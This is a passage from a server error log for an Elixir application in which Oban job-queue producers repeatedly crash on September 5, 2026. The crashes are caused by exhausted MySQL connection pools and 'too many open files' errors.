    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:08:07.240056Z], limit: 5, uuid: "744ea4b7-05b0-4649-9e03-98e6d31d94b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.240067Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5609>, refresh_timer: #Reference<0.2525715032.1099431938.5542>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:08:07.241670Z], limit: 3, uuid: "7c6c918e-63d7-40fa-be86-7efb21de4d85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.241676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5612>, refresh_timer: #Reference<0.2525715032.1077411843.237372>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:08:07.244539Z], limit: 5, uuid: "bc9c540f-4e8f-4fa1-8044-810065c2be6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.244545Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5608>, refresh_timer: #Reference<0.2525715032.1099431938.5588>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:08:07.241863Z], limit: 10, uuid: "ca497a95-49ec-43b2-ad8e-577549981b1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.241867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5611>, refresh_timer: #Reference<0.2525715032.1077411843.237374>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:08:07.242048Z], limit: 20, uuid: "0b0bb1a2-bde9-40c2-8979-99030f90c4c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:07.242053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5610>, refresh_timer: #Reference<0.2525715032.1077411843.237379>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:18.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:26.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:27.629000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:29.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:29.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:29.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:08:18.240044Z], limit: 5, uuid: "c5900f70-004e-4a3b-8fee-fb9b10a62618", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.240050Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.254164>, refresh_timer: #Reference<0.2525715032.1068236804.254120>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:08:18.239140Z], limit: 50, uuid: "a3b71724-79e1-4573-977d-782491ea488a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.239146Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108352>, refresh_timer: #Reference<0.2525715032.1121189889.108351>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:08:18.239513Z], limit: 3, uuid: "f3edef37-ab58-4f05-8de7-b13d26c2e625", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108353>, refresh_timer: #Reference<0.2525715032.1077411843.237458>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:08:18.240059Z], limit: 10, uuid: "1ba58c10-e698-4ea9-aba1-1ca126469d8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.240065Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108374>, refresh_timer: #Reference<0.2525715032.1121189889.108361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
